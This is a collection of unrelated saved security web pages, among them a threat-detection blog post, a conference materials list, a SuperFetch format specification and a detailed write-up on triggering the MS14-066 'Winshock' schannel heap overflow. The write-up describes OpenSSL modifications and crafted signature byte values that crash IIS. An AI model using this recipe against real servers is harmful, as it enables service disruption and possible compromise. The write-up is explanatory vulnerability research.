  

  

# Role of Context in Threat Detection

<img src='img/9101_0*888-kwdspzu5MKfg.jpg' width='48' height='48' />

Anton Chuvakin

Dec 28, 2020 · 4 min read

I got into a very insightful debate with somebody who will remain nameless in
the beginning of this post, but will perhaps be revealed later. The debate
focused on the **role of context in threat detection.**

Specifically, it is about the role of **local** context \(environment
knowledge, organization context, site details, etc\) in threat detection.
**Can threat detection work well without such local context?**

Now, some of you will say “yes, of course\!” and will point at “ _success_ ”
\(well, let’s not get into a fight over this\) of anti-malware technology.
After all, anti-malware tools promise to detect malware using vendor-created
signatures that operate without any input from the customer about their
environment \(as a minor sidenote, if you “tune” AV then you do introduce that
very local context\). Note that for this discussion it does not matter that
anti-malware will detect and then block \(“prevent”\) the threat \(in other
discussions, it definitely does\).

The same line of thinking then affected intrusion detection as it was
developing in the late 1990s. Intrusion detection systems \(IDS\) that had
lots of signatures and so could detect something out of the box were
“successful” \(at least as a business\) while those that expected customers to
write signatures failed or had to evolve.

Then it was SIEM’s turn: SIEM vendors with lots of rules and reports were more
successful \(and now we have SOC Prime with lots of community rules\). Next,
it was security analytics tool sets with their “trained ML unicorns”: those
with lots of pre-tuned algorithms seemed to be selling better. See the pattern
yet? It seems like you can be successful with threat detection without any
input from each specific client.

Now, let’s pause and think for a second\! What if the industry was … well … if
not wrong, but also not entirely right. **What if truly successful threat
detection must be a collaboration between the vendor and the customer?**

In fact, it is easy to find examples of where canned and context-less threat
detection does not work all that well. For this, let’s review how successful
the detection technologies really are in regards to their use of local context
data.

  * **Anti-malware** mostly works \(when it does\) yet the ransomware epidemic continues and top-tier state-sponsored/-affiliated malware is almost never detected by traditional anti-malware tools. Along the same line, many initial loaders \(that you may call “commodity”\) aren’t well detected either, and it’s easier to obtain access to these as malicious tools than ever before. Finally, when used in large enterprises, AV is often tuned hence this local knowledge is in fact introduced.
  * **Network IDS** and related technologies \(like NDR\) don’t really work or don’t work well without local context; at the very least, you will need to “tune” \(i.e. add local context like “ignore this server, it always triggers that in legitimate traffic”\). Untuned NIDS has long been a subject of many jokes, dating back to the 1990s, if not the 1980s.
  * **SIEM** mostly does not work without a lot of local context, vendor-written SIEM rules never became “shoot and forget”, and you need to tweak them based on your environment and/or write your own rules. This is accepted by most sane SIEM vendors and customers.
  * **EDR** would be a mixed bag, in this regard. Many EDR rules are naive pattern matching. Take a powershell execution with specific command line parameters. A rule may be tuned from 22,000 results all the way down to 17 because \(say\) PowerShell gets executed in a “suspicious” way all the time and local context \(whitelist for system, process, application, etc\) is needed. With ML-based EDR, the situation is … as far as I see… the same. Anomalies detected need local context to mean something.

\(note that for attackers armed with “living off the land” techniques, the
balance skews even further towards local context criticality for detection\)

So, what can we learn from this? **Threat detection today needs local context
a lot more than people realize.** Now, successful threat detection programs at
elite enterprises, especially those that follow the “detection engineering”
model all know this \(this is why most/all of their detection logic is custom
or customized, not OOB\). But are they a rare exception rather than a trend?

And what does it mean for others? Well, you can hire “help” which here means
an MSSP or an MDR \(BTW, MDR label was born out of frustration with some MSSP
threat detection offerings, so YMMV\). However, please don’t automatically
assume that “using an MSSP means that your local realities will be included in
the detection process.” They will be — with quality MDRs and MSSPs, but you
may also get canned off-the-shelf SIEM or even IDS alerts from some providers.
You may need a combination of tools, services and — yes, still\! — your own
efforts.

Finally, this is where an ML unicorn will again emerge out of the bushes \(or
wherever they live…\) and say “but we can just auto-learn local realities
using my little machine brain.” And, presumably, “auto-learn” here will not
mean “import from customer repository” \(because many organizations simply
lack such a thing, like they lack a current and correct list of assets\).
Well, can it happen? Sure, it can. In theory. Personally, it is easy for me to
believe that it can happen, but I will also be the first to admit that I’ve
never actually seen it happen … yet.

So, to summarize, we all need to think ….

  * How well does threat detection really work without local context?
  * How to best include local context in various detection tools and practices?
  * How to select the vendor who will detect WITH you?
  * How to practice detection jointly with the vendor or service provider rather than merely “consume” it?

P.S. Huge thanks to Brandon Levene for an idea for this post, for some of the
examples and for a great discussion that almost became an argument :-\)

P.P.S. I think this situation does not really change in the cloud; you need
local cloud context to detect.

**Related blog posts:**

  * “Why is Threat Detection Hard?”
  * “Detection Coverage and Detection-in-Depth”
  * “Can We Have “Detection as Code”?”
  * “Chronicle Detect is Here”

# Simon's Blog — ASRock ION 330

**Created:**| _11/24/2009 7:34:36 PM_  
---|---  
**Updated:**| _11/24/2009 7:34:41 PM_  
**Author:**| __  
**Tags:**| _Lab-Setup_  
  

**Installation:**  
1\. Bios Update:  
Mein erster Fehler war, dass ich kein Bios Update vorgenommen habe. Obwohl es
so in keinem einzigen Artikel zu der ION / XBMC Kombination erwähnt wird,
scheint ein solches Update Voraussetzung zu sein, damit das Gerät auch Ton
ausspuckt.

Ich habe in meinem Fall nachträglich die Version 1.50 installiert. Dieses
funktioniert glücklicherweise ganz einfach von einem USB Stick aus. \(”ASRock
Instant Flash”\)

# Ruxcon » 2011 Materials

**Created:**| _12/22/2011 10:39:30 AM_  
---|---  
**Updated:**| _12/22/2011 10:39:30 AM_  
**Author:**| __  
**Tags:**| _conference-material_  
  

### Presentation Materials

#### Saturday and Sunday Presentations

Title| Presenter| Files  
---|---|---  
2011 Data Breach Investigations Report - Verizon, US Secret Service, Dutch
High Tech Crime Unit| Mark Goudie| .ppt  
An Embarrassingly Simple Solution to the Problem of Protecting Browser Users | Peter Gutmann| .ppt  
APCO P25 Security Revisited - The Practical Attacks\! | Steve Glass and Matt Robert| .pdf \(paper\) .pdf \(slides\)  
Automated Detection of Software Bugs and Vulnerabilities in Linux| Silvio
Cesare| .pptx  
Digital Forensic Evidence: From Certainty to Shades of Grey| Dr. Bradley
Schatz| .pdf  
Encyclopaedia Of Windows Privilege Escalation| Brett Moore| .rar  
Forensic Timeline Splunking| Nick Klein| .pdf  
GCC Plugins: Die by the Sword| Matt Davis| .pdf  
Harder, Better, Faster, Stronger... | Louis Nyffenegger & Luke Jahnke| .pdf  
Malware Mythbusters| Alex Kirk| .pdf  
Operation Carpo, The Hack of an Australian Registrar| Alex Tilley|  
Post Memory Corruption Memory Analysis| Jonathon Brossard| .pdf  
Unusual and Hilarious Vulnerabilities| R00t Dude|  
Hacking Hollywood| Nick Freeman / vt| .pdf  
All your RFz Belong to Me: Hacking the Wireless World with GNU Radio | Balint Seeber| .pdf  
Windows Kernel Vulnerability Research and Exploitation| Gilad Bakas| .ppt  
4 Years and 4 Thousand Websites Worth of Vulnerability Assessments: What Have We Learned? | Jeremiah Grossman| .pdf  
JBoss security: penetration, protection and patching| David Jorm| .odp  
Hacking iPhones and iPads| Ilja Van Sprundel| .ppt  
Browser GFX Security| Ben Hawkes| .pdf  
SSL Traffic Analysis Attacks| Vincent Berg| .pptx  
Mobile and Contactless Payment Security \(There’s an App for that\!\)| Peter
Fillmore| .pdf  
The Security Of 3D Web Extensions| James Forshaw| .pdf  
Bypassing and Strengthening Linux Security Controls| Andrew Griffiths| .pdf  
#### Bonus Presentations \(Friday 18th Professional Delegates Only\)

Title| Presenter| Files  
---|---|---  
Open Source Intelligence is not just Facebook| Kayne|  
Defiling MacOSX| Snare| .pdf  
Analysis Avoidance Techniques of Malicious Software| Murray Brand| .ppt  
A Hackers Guide to Internet Marketing | Mark Blaszczyk| .pptx  
Issues of Teaching Ethical Hacking at the University Level| Peter Hannay| .ppt  
Faster, More Effective Flowgraph-based Malware Classification| Silvio Cesare|
.pptx  
An Introduction to Software Defined Radio| Balint Seeber| .pdf  
Femtocell Security and Threats on Telecommunication Infrastructure| Ravi
Borgaonk|  
### Capture the flag

A write-up about the CTF \(so far Unix, Misc, Web levels\) is available here.

# address-sanitizer - AddressSanitizer: a fast memory error detector - Google
Project Hosting

**Created:**| _7/3/2012 8:05:59 PM_  
---|---  
**Updated:**| _7/3/2012 8:05:59 PM_  
**Author:**| __  
**Tags:**| _llvm_  
  

AddressSanitizer \(ASan\) is a fast memory error detector.  
It finds use-after-free and \{heap,stack,global\}-buffer overflow bugs in
C/C++ programs.  
Learn more:

  * AddressSanitizer \-- how to use the tool. 

  * AddressSanitizer page at clang.llvm.org

  * AddressSanitizerAlgorithm \-- how it works. 
  * Read if you are working on Chromium
  * Watch the presentation from the LLVM Developer's meeting \(Nov 18, 2011\): Video, slides. 
  * Our paper accepted to USENIX ATC 2012

  * See also: our slides for USENIX ATC 2012

Your comments are welcome at address-sanitizer@googlegroups.com or in Google+  
---

# Exploiting MS14-066 / CVE-2014-6321 \(aka "Winshock"\) - Security
SiftSecurity Sift

**Created:**| _8/19/2015 11:13:49 AM_  
---|---  
**Updated:**| _8/19/2015 11:13:49 AM_  
**Author:**| __  
**Tags:**| _Exploit windows environment_  
  

### Introduction

I think enough time has passed now to provide a little more detail on how to
exploit MS14-066 schannel vulnerability \(aka “Winshock”\). In this post I
won’t be providing a complete PoC exploit, but I will delve into the details
on exactly how to trigger the heap overflow along with some example
modifications to OpenSSL so you can replicate the issue yourself.

This vulnerability was announced while I was on vacation so I didn’t have a
chance to analyze it right away. Lucky for me, the research team at
BeyondTrust posted this concise write-up, keying in on the vulnerable code:
http://blog.beyondtrust.com/triggering-ms14-066. When I first looked at the
specifics of the vulnerability, I admittedly discounted it’s severity solely
for the fact that it seemed necessary to have some form of mutual certificate-
based authentication to trigger — still a big deal but not as widespread as I
first imagined \(or so I thought\). Then, a couple of days later, Malware Tech
posted this gem: http://www.malwaretech.com/2014/11/how-ms14-066-winshock-is-
worse-than.html. Wow…triggering the exploit on web servers even if they were
set to ignore certificates definitely renewed my interest. @MalwareTechBlog
subsequently released this nice write-up with additional details, but by that
time I was already deep into examining the exploit \(though it’s still worth a
read if you haven’t already\): http://www.malwaretech.com/2014/11/ms14-066-in-
depth-analysis.html.

If you’ve already had a chance to read these sources, please bear with me,
because for the sake of completeness, I will be repeating some of the
information.

First, let’s take a closer look at the vulnerable function…

### schannel\!DecodeSigAndReverse

Here is the disassembly for the pertinent portions of the DecodeSigAndReverse
function \(found in schannel.dll\) which is responsible for decoding the
encoded certificate signature.

<img src='img/Temp2_3016.png' width='640' height='486' alt='ms14066_01-1' />

Of interest to us are the calls to CryptDecodeObject the the two subsequent
calls to memcpy \(found in the lower left yellow box\), which is what
ultimately triggers this vulnerability. I’ll get into more details but first
it’s important to note that to trigger the vulnerable memcpy, we need to
somehow force the server to verify a client-provided ECC certificate \(as
indicated by the cmp ebx, 2Fh instruction highlighted below\).

<img src='img/Temp2_3022.png' width='442' height='243' alt='ms14066_02' />

Most web servers will ignore a submitted client certificate \(unless
certificate authentication is required\). However, as @MalwareTechBlog pointed
out, vulnerable IIS servers will actually process a certificate that is
forcefully presented regardless of the configured SSL settings. I’ll be
demonstrating this vulnerability only for IIS on port 443, though you may be
able to replicate similar results for RDP.

### The Setup

The first thing you’ll need to do to trigger this exploit is configure IIS SSL
settings \(I used a Win 7 box\) as follows:

<img src='img/Temp2_2998.png' width='437' height='192' alt='ms14066_03' />

Generate a self-signed certificate \(using OpenSSL\), upload to your Windows
box and bind it to your site:

<img src='img/Temp2_3005.png' width='448' height='273' alt='ms14066_04' />

Now generate an EC cert/key pair to use on your “attacking” machine. Next
you’ll need to download the OpenSSL source. For my test setup I used version
1.0.1j on a Kali box. Since you’re probably going to be modifying and
recompiling many times, you may want to use the .configure script to
permanently set any desired build variables \(such as install location\).

Once you’ve got your web server configured, your client cert/key generated,
and openSSL source downloaded, it’s time to make some modifications,
specifically to s3\_clnt.c. First, we need to force the sending of our client
certificate which can be done as follows:

<img src='img/Temp2_3017.png' width='436' height='378' alt='ms14066_05' />

Notice I’ve altered the case statement logic to force a call to
ssl3\_send\_client\_certificate.

Next you’ll need to force certificate verification, which can be done with the
following modification to make a call to ssl3\_send\_client\_verify:

<img src='img/Temp2_3008.png' width='415' height='425' alt='ms14066_06' />

Connect a remote kernel debugger to your test IIS box and set a breakpoint on
schannel\!DecodeSigAndReverse. Then connect via the modified OpenSSL s\_client
and you should trigger your breakpoint:

<img src='img/Temp2_2997.png' width='640' height='119' alt='ms14066_39' />

<img src='img/Temp2_3000.png' width='418' height='277' alt='ms14066_08' />

Once you’ve confirmed you can enter the vulnerable function, it’s time to
delve into the details to understand how to exploit it.

### A Closer Look

If you refer back to the disassembly of DecodeSigAndReverse, one of the the
initial things to happen is the first of two calls to CryptDecodeObject.

<img src='img/Temp2_3023.png' width='335' height='222' alt='ms14066_07' />This
first call sets pvStructInfo to null to determine the size of the buffer
needed to hold the decoded signature for proper memory allocation \(which is
handled by the subsequent call to SPExternalAlloc\).

The second call to CryptDecodeObject is the one of interest.

<img src='img/Temp2_3010.png' width='640' height='151' alt='ms14066_10' />

Testing this with an unmodified EC cert and key pair you should see something
similar to the following for pcbStructInfo and pvStructInfo:

<img src='img/Temp2_3003.png' width='414' height='383' alt='ms14066_09' />

You can see before the call that the designated size is 50h and the
pvStructInfo structure is 0’d out and ready to receive the decoded signature.
cbEncoded holds the size of the encoded signature, which in this case is 46h.
The encoded signature looks as follows:

<img src='img/Temp2_3015.png' width='407' height='353' alt='ms14066_12' />

\* Note: in the above pic, ebp+0ch shows the size of the encoded signature
\(46h\) and the memory at location 002dc57b holds the encoded signature.

When the second CryptDecodeObject function returns, pvStructInfo now holds the
decoded signature:

<img src='img/Temp2_3002.png' width='633' height='134' alt='ms14066_13' />

Now we can shift our attention to the two memcpy functions that follow.

<img src='img/Temp2_3013.png' width='231' height='161' alt='ms14066_14' />

The first memcpy will copy the number of bytes of the decoded signature
designated in \[esi\] \(in this case 20h or 32d\) to a designated buffer
\(Dst\). In the screenshot below, you can see that the contents of this buffer
after the call to memcpy contain the first 32 bytes of the decoded signature
returned by CryptDecodeObject.

<img src='img/Temp2_3018.png' width='450' height='461' alt='ms14066_15' />

Similarly, the second memcpy copies the remaining 32 bytes of the decoded
signature to the adjacent reserved space in memory \(Dst\).

<img src='img/Temp2_3021.png' width='439' height='440' alt='ms14066_16' />

It’s the second memcpy function that is vulnerable to a heap overflow and will
be the focus of our attention. To understand why it’s vulnerable to an
overflow condition, we need to see how the destination buffer \(Dst\) is
allocated which actually happens in the CheckClientVerifyMessage\(\).

<img src='img/Temp2_3012.png' width='438' height='135' alt='ms14066_17' />

Notice in the third block below \(before the call to DecodeSigAndReverse\) is
the call to SPExternalAlloc, which reserves the memory \(Dst\) where our
decoded signature will be copied via the two calls to memcpy shown previously.

<img src='img/Temp2_3009.png' width='640' height='335' alt='ms14066_19' />

You’ll recall each of those calls to memcpy copied 32 bytes \(20h\) of the
decoded signature to adjacent portions of memory to fill a total of 40h bytes.
This 40h bytes is reserved by SPExternalAlloc by taking the total key size
\(in this case 256 bits\), dividing it by 8 \(to convert to bytes\) and
doubling it \(256 / 8 = 32 \* 2 = 64d or 40 h\). The dangerous assumption here
is that the decoded signature will always be twice the size of the key. We’re
about to see why that’s not true.

### Modifying The Encoded Signature

The first thing we want to do is have some control over the size of the
encoded signature represented by cbEncoded. If you refer to the call to
CheckClientVerifyMessage\(\), you’ll notice that cbEncoded is passed as a
parameter, which means we need to back up even further to the function
DigestCertVerify\(\).

<img src='img/Temp2_3011.png' width='640' height='119' alt='ms14066_21' />

We can see at location 0xXXXX98CE of DigestCertVerify that cbEncoded is
located at \[esi+1\]. It turns out \[esi\] merely points to the start of the
encoded signature structure which looks like this:

<img src='img/Temp2_3020.png' width='443' height='220' alt='ms14066_22' />

Notice \[esi+1\] holds the value of cbEncoded \(47h\). The bytes that follow
make up the encoded signature that will eventually be passed to
CrypteDecodeObject\(\) within DecodeSigAndReverse\(\). Here is a look at that
call so you can see they are identical:

<img src='img/Temp2_3014.png' width='452' height='189' alt='ms14066_23' />

The structure that holds our encoded signature is defined on MSDN as follows:

<img src='img/Temp2_3007.png' width='512' height='239' alt='ms14066_26' />

For the purpose of this demo, I’ll call this structure sig. We’ve identified
the total size of sig by the byte located at sig\[1\]. Structure members r and
s are decoded and copied via the two memcpy operations. What’s even more
interesting is that two other bytes of sig \(which is under our control\)
dictate the size of r and s used in each memcpy operation.

<img src='img/Temp2_3001.png' width='473' height='235' alt='ms14066_24' />

This means we have control over how many bytes are written via each memcpy and
can use that to overwrite the reserved heap buffer. In addition, other than a
few required byte values, the majority of the encoded signature is irrelevant,
meaning we can inject any values we wish.

In addition, submitting an invalid encoded signature to CryptDecodeObject
doesn’t result in an error. Instead, it simply returns the invalid encoded
signature that we passed it and that data is subsequently written to the heap
via the vulnerable memcpy functions. This means we can predict the subsequent
return values that will be passed to the vulnerable memcpy functions and
written via the heap overflow.

From my brief testing, I identified the following required values for sig:

  * sig\[1\] = cbEncoded \(total size of sig\); my testing indicates that max size is \x81
  * sig\[2\] = \x30; required \(leave unchanged\)
  * sig\[3\] = \(sig\[1\] -1\); max size is \x7f
  * sig\[4\] = \x02; appears to represent data type that follows
  * sig\[5\] = size of r or memcpy 1; minimum value is 1
  * sig\[6\] = any single byte value such as \x00
  * sig\[7\] = \x02; appears to represent data type that follows
  * sig\[8\] = sig\[1\] – 7 = \x7a
  * sig\[9\]…sig\[x\] = any arbitrary values for heap oveflow

### Triggering the Exploit

So, how can we influence the encoded signature value? Rather than changing the
content of the certificate, we can modify the encoded signature directly in
OpenSSL via the ssl3\_send\_client\_verify function.

<img src='img/Temp2_2996.png' width='438' height='553' alt='ms14066_38' />

A couple things to note about the above modified signature. The first memcpy
is represented by the three bytes at psig\[2\] – psig\[4\] \(\x02\x01\x00\).
Again, I believe the first byte to represent the data type, the second byte is
the size for memcpy, and the third byte is the content \(src\) to write. A
single byte of \x00 will result in the first memcpy writing 32 null bytes to
the first half of the reserved 64 bytes.

The next 32 bytes as well as up to 90 additional bytes will be consumed by
what follows psig\[7\] and psig\[8\]. This is what results in the heap
overflow.

For purposes of illustration, notice I changed the total size of the signature
to a much larger value of 15,500. Although CryptDecodeObject limits the size
of the total signature it will process \(again, my testing indicated the limit
is \x81\), DecodeSigAndReverse accepts much larger values for the encoded
signature \(pbEncoded\) which means arbitrary data can be written to memory
before it’s processed by CryptDecodeObject Note: it appears that
DecodeSigAndReverse properly allocates memory for the encoded signature and
none of my tests resulted in an overflow condition as a result submitting a
large signature; however, being able to write 10,000+ bytes of arbitrary data
may come in handy.

You can see an example of this below:

<img src='img/Temp2_3006.png' width='508' height='478' alt='ms14066_25' />

Following this through to the memcpy functions, the resulting heap overflow
looks as follows:

<img src='img/Temp2_3004.png' width='543' height='147' alt='ms14066_36' />

Not surprisingly, this overflow results in an Access Violation \(yours may
vary\).

<img src='img/Temp2_3019.png' width='547' height='553' alt='ms14066_37' />

<img src='img/Temp2_2999.png' width='385' height='320' alt='ms14066_40' />

One thing to note about this basic demonstration is that the heap overflow may
not be triggered immediately nor will the access violation caused by this
simple demo be consistent. I found you can typically trigger it at-will by
establishing another \(valid\) connection via an unmodified version of OpenSSL
s\_client. Here’s a quick 30 second video demonstrating what it looks like on
the target machine.

As I said earlier, I won’t be providing a full working exploit PoC at this
time nor will I be uploading my modified version of OpenSSL. That said, the
information in this post should be more than enough to understand how this
vulnerability can be exploited \(though reliability will be a factor\) and you
may think of additional methods of exploitation. Regardless, this simple demo
is still enough to interrupt IIS services and reboot the target machine so
please do not test it against any servers unless you have explicit permission
to do so\!

### Conclusion

To recap, the second memcpy found in schannel\!DecodeSigAndReverse is
vulnerable to a heap overflow condition due to the presumption of the decoded
signature size \(twice the size of the key\) made in the calling function
CheckClientVerifyMessage. Since we can control \(to a degree\) the size and
content of the memcpy function \(via the encoded signature\) and
CryptDecodeObject leaves the encoded signature input untouched, we can predict
the values written in the heap overflow. This can all be triggered via some
basic modification to OpenSSL.

Hopefully this gave you some additional insight into how this vulnerability
can be triggered and exploited, and as always, apply those patches if you
haven’t already\!

Until next time,

Mike

Follow @securitysift

### Share this:

  * Google
  * Twitter
  * Facebook
  * LinkedIn
  * Email
  * Pinterest
  * Reddit
  * 

# Released: Remote Server Administration Tools for Windows 7 with Service Pack
1 \(SP1\) - Notes from a dark corner - Site Home - MSDN Blogs

**Created:**| _4/9/2011 9:52:52 AM_  
---|---  
**Updated:**| _4/10/2011 11:57:51 AM_  
**Author:**| __  
**Tags:**| _windows admin_  
  

### Released: Remote Server Administration Tools for Windows 7 with Service
Pack 1 \(SP1\)

dougste

8 Apr 2011 12:50 AM

Just released:

http://www.microsoft.com/downloads/en/details.aspx?FamilyID=7d2f6ad7-656b-4313-a005-4e344e43997d

Handy if you manage your servers running Windows Server® 2008 R2, Windows
Server® 2008, or Windows Server® 2003 from a Windows 7 client on which you
have put service pack 1.

Doug

# Windows SuperFetch file format – partial specification

**Created:**| _10/7/2011 10:18:01 AM_  
---|---  
**Updated:**| _10/7/2011 10:18:01 AM_  
**Author:**| __  
**Tags:**| _windows environment_  
  

## Windows SuperFetch file format – partial specification

October 5, 2011 / ReWolf posted in reverse engineering, source code / 2
Comments

According to **ForensicWiki**
\(http://www.forensicswiki.org/wiki/SuperFetch\):

**SuperFetch** is a performance enhancement introduced in **Microsoft Windows
Vista** to reduce the time necessary to launch applications \(…\)  
Data for **SuperFetch** is gathered by the
**%SystemRoot%\System32\Sysmain.dll** , part of the **Service Host** process,
**%SystemRoot%\System32\Svchost.exe** , and stored in a series of files in the
**%SystemRoot%\Prefetch** directory. These files appear to start with the
prefix **Ag** and have a**.db** extension. **The format of these files is not
known…**

When I read above statement I just couldn’t resist and I’ve decided to take up
a challenge. Below you can read what I’ve found, as a bonus I’ve also prepared
simple dumper for **SuperFetch** .db files \(attached at the end of this
post\).  

### **COMPRESSED CONTAINER**

As it was stated on **ForensicWiki** , **SuperFetch** mechanism is handled by
**sysmain.dll** , this will be the good place to start the research. Most of
**Ag\*.db** files starts with a magic value **0x304D454D** \(“MEM0″\) \(at
least on Windows 7\), most – because there are two files that seems to have
different format:

  * **AgRobust.db** – this file will be described later
  * **AgAppLaunch.db** – I didn’t do analysis of this file \(but it shouldn’t be hard\)

Searching for magic value in **sysmain.dll** reveals only two places where it
is used:

  * **PfSvCompressBuffer\(\)**
  * **PfSvDecompressBuffer\(\)**

I’ve decided to take a look at **PfSvDecompressBuffer** as it is probably more
convenient way to gather information from decompression function, especially
if I want to decode given file. Analysis of this function gave me the general
information about initial file structure:

offset| type| size| description  
---|---|---|---  
0| DWORD| 4| Magic value: **0x304D454D** \(“MEM0″\) or**0x4F4D454D**
\(“MEMO”\)  
4| DWORD| 4| Total output size \(after decompression\)  
8| CHUNK| var\_1| compressed chunk of data  
8 + var\_1| CHUNK| var\_2| compressed chunk of data  
…| …| …| …  
…| CHUNK| var\_n| compressed chunk of data  
**EOF**  
**CHUNK** is defined as follow:

[code]

    	**struct** CHUNK
    	**{**
    		**DWORD** size;         //size of compressed data
    		**BYTE** data[size];    //compressed data
    	**}** ;
[/code]

There are two different compression algorithms that are distinguished by
previously mentioned magic value:

  * **0x4F4D454D** \(“MEMO”\) – **LZNT1** compression, standard compression available through **RtlDecompressBuffer\(\)** function with CompressionFormat argument set to **COMPRESSION\_FORMAT\_LZNT1** \(http://msdn.microsoft.com/en-us/Library/ff552191\(v=VS.85\).aspx\). For **LZNT1** algorithm size field from **CHUNK** structure is **16-bit** value \(**WORD**\), and all chunks are decompressed at once by **RtlDecompressBuffer** function \(see attached source code\).
  * **0x304D454D** \(“MEM0″\) – **Xpress** compression, the same compression is used in **WIM** files \(http://www.coderforlife.com/wim-compression/\), there are some open source implementations available, but I’ve wrote my own based on description from **MSDN** \(http://msdn.microsoft.com/en-us/library/dd644740\(v=PROT.13\).aspx\). Starting with **Windows 8** this decompression will be also available through **RtlDecompressBuffer** API with the CompressionFormat argument set to **COMPRESSION\_FORMAT\_XPRESS** or **COMPRESSION\_FORMAT\_XPRESS\_HUFF**.

Decompression routines from **Windows 7** :

[code]

    ; **int **RtlDecompressBufferProcs[]
    	**dd **0
    	**dd **0
    	**dd offset** _RtlDecompressBufferLZNT1@20
    	**dd offset** _RtlDecompressBufferNS@20
    	**dd offset** _RtlDecompressBufferNS@20
    	**dd offset** _RtlDecompressBufferNS@20
    	**dd offset** _RtlDecompressBufferNS@20
    	**dd offset** _RtlDecompressBufferNS@20
[/code]

Decompression routines from **Windows 8** :

[code]

    ; **int **RtlDecompressBufferProcs[]
    	**dd **0
    	**dd **0
    	**dd offset** _RtlDecompressBufferLZNT1@24
    	**dd offset** _RtlDecompressBufferXpressLz@24
    	**dd offset** _RtlDecompressBufferXpressHuff@24
    	**dd offset** _RtlDecompressBufferNS@24
    	**dd offset** _RtlDecompressBufferNS@24
    	**dd offset** _RtlDecompressBufferNS@24
[/code]

I’ve gathered some **.db** files from **Windows 7 x86** and **x64** edition
and it appears that all files are compressed with **Xpress** compression.
Files from **Vista x86** are packed by **LZNT1** compression.

### **PROPER STRUCTURE**

After decompression structure of the file can be easily analysed in any hex-
editor. Mentioned earlier **AgRobust.db** have the same structure, so the only
difference is that it is not compressed. Quick look shows that there is some
header at the beginning and file-paths with some additional binary data in the
rest of the file. File header can be described by below structure:

[code]

    	**struct** PfFileHeader
    	{
    		**DWORD** magic;                   // = 0xE; magic value
    		**DWORD** fileSize;
    		DWORD headerSize;              // align this value to 8 after read
    		**DWORD** fileType;                // index to **PfDbDatabaseParamsForFileType** table
    		**PfFileParams** fileParams;       // 9 dwords
    		**DWORD** volumesCounter;          // number of volumes in file
    		**DWORD** totalEntriesInVolumes;   // ??
    		//rest of the header is unknown at this moment
    	};
    
    	**struct** PfFileParams
    	{
    		**DWORD** sizes[9];
    	};
[/code]

fileType field is an index to the **PfDbDatabaseParamsForFileType** table that
is located in **sysmain.dll** \(dump from **Windows 7 x86**\):

[code]

    ;PfFileParams PfDbDatabaseParamsForFileType[]
    
    00: PfFileParams < 38h,  24h,  3Ch,    8,    8,    8,    8, 0, 0>
    01: PfFileParams < 38h,  34h,  44h,  10h,  14h,    8,    8, 0, 0>
    02: PfFileParams < 38h,  2Ch,  44h,  10h,    8,    8,    8, 0, 0>
    03: PfFileParams < 38h,  24h,  3Ch,    8,    8,  14h,    8, 0, 0>
    XX: PfFileParams 6 dup(<0, 0, 0, 0, 0, 0, 0, 0, 0>)
    0A: PfFileParams < 38h,  24h,  3Ch,    8,    8,  0Ch,    8, 0, 0>
    0B: PfFileParams < 38h,  24h,  3Ch,  10h,  10h,  10h,  10h, 0, 0>
    0C: PfFileParams < 38h,  24h,  3Ch,  0Ch,    8,    8,    8, 0, 0>
    0D: PfFileParams <0, 0, 0, 0, 0, 0, 0, 0, 0>
    0E: PfFileParams < 38h,  48h,  64h,    8,    8,    8,    8, 0, 0>
    0F: PfFileParams < 40h,  28h,  3Ch,    8,    8,  14h,    8, 0, 0>
    10: PfFileParams < 38h,  2Ch,  68h,  10h,  18h,  14h,  1Ch, 0, 0>
    11: PfFileParams <0, 0, 0, 0, 0, 0, 0, 0, 0>
    12: PfFileParams < 48h,  2Ch,  3Ch,    8,    8,    8,    8, 0, 0>
[/code]

fileParams field is a table of nine dwords, each dword describes size of
different structure that is used by the current file. What is the purpose of
such table ? The only reason that comes to my mind is to differentiate
structure version and type. Sample output of dumped header looks like this:

[code]

    magic          : 0000000E
    file size      : 0008B944
    header size    : 000000F0
    file type      : 0000000B
    volumes counter: 00000001
    unknown        : 0000016F
    	param 00: 00000038
    	param 01: 00000024
    	param 02: 0000003C
    	param 03: 00000010
    	param 04: 00000010
    	param 05: 00000010
    	param 06: 00000010
    	param 07: 00000000
    	param 08: 00000000
[/code]

As you may notice, file type is 0x0B, and if you will compare
**PfDbDatabaseParamsForFileType**\[**0x0B**\] with the dumped fileParams you
will see that they’re equal.

Structure that follows main header is basically 3-level tree, at first level
there is a volume description:

[code]

    Volume: (BC1D1716) (00000017) \DEVICE\HARDDISKVOLUME1
    Volume ID: XXXX-XXXX
    Timestamp: 2011-07-02, 01:40:26 (328)
    
    019EA7B0 019EA7B0 00000C79 00020000 ........ 00000000 045BF262
    01CC3859 XXXXXXXX 00000000 ........ 00010017 ........ 00000000
[/code]

I don’t know sense of all values but some of them are addresses \(?\!?\), for
the exact fields names you can check attached source code \(search for
**PfVolumeHeader\_38** or **PfVolumeHeader\_48** structures\). Known fields
are:

\- Volume ID  
\- Timestamp  
\- Number of file entries \(on the second level of the tree\)  
\- Length of volume name

At the second level there are files descriptors, third level describes some
chunks of each file \(probably it is related to memory mapping of each part of
file\), but I’ve no idea what is the exact meaning of those values:

[code]

    File: (4D5FA4DE) (0000001D) \WINDOWS\SYSTEM32\BCDPROV.DLL
    019BA611 4D5FA4DE 00000006 000000880269D350 00000000 00800000 00000074 019BA608
    
    	035D4DA0 0000D100 00000060 00000000
    	035D4D90 00000500 00000060 00000000
    	035D4D70 0000B500 00000060 00000000
    	03AEBCE1 00001500 00000060 00000000
    	035D4D80 0000C700 00000060 00000000
    	03AEBCE1 0000CB00 00000060 00000000
[/code]

Files records are described by structures called **PfRecordHeader** \(in the
source code: **PfRecordHeader\_24** , **PfRecordHeader\_34** ,
**PfRecordHeader\_40** , **PfRecordHeader\_48** , **PfRecordHeader\_58** ,
**PfRecordHeader\_70**\). Known fields are:

  * 32-bit hash of filename \(implementation of the hash can be found in source code, function **hashStr\(\)**\)
  * Number of chunks \(on the third level of tree\)
  * Length of filename

There are also some nuisances about structure alignment inside decompressed
**.db** files, but everyone can check it in the sources \(of course\!\).

### **END**

Above specification doesn’t fulfil **SuperFetch** topic, I don’t know if I’ll
be continuing this research \(probably not\), so if anyone is interested here
are the sources of my **SuperFetch** dumper:

http://code.google.com/p/rewolf-superfetch-dumper/

Sources are published under **GNU GPL v3** license. Enjoy\!

# Tarasco Security: Srvcheck - Weak Service DACL vulnerability checker

**Created:**| _8/24/2010 12:18:56 PM_  
---|---  
**Updated:**| _8/24/2010 12:18:56 PM_  
**Author:**| _wishi_  
**Tags:**| _pentest windows environment_  
  

# Security Services checker \( srvcheck \)

Introduction

  
  
Srvcheck is a proof of concept for the MS06-011. This tool scans your network
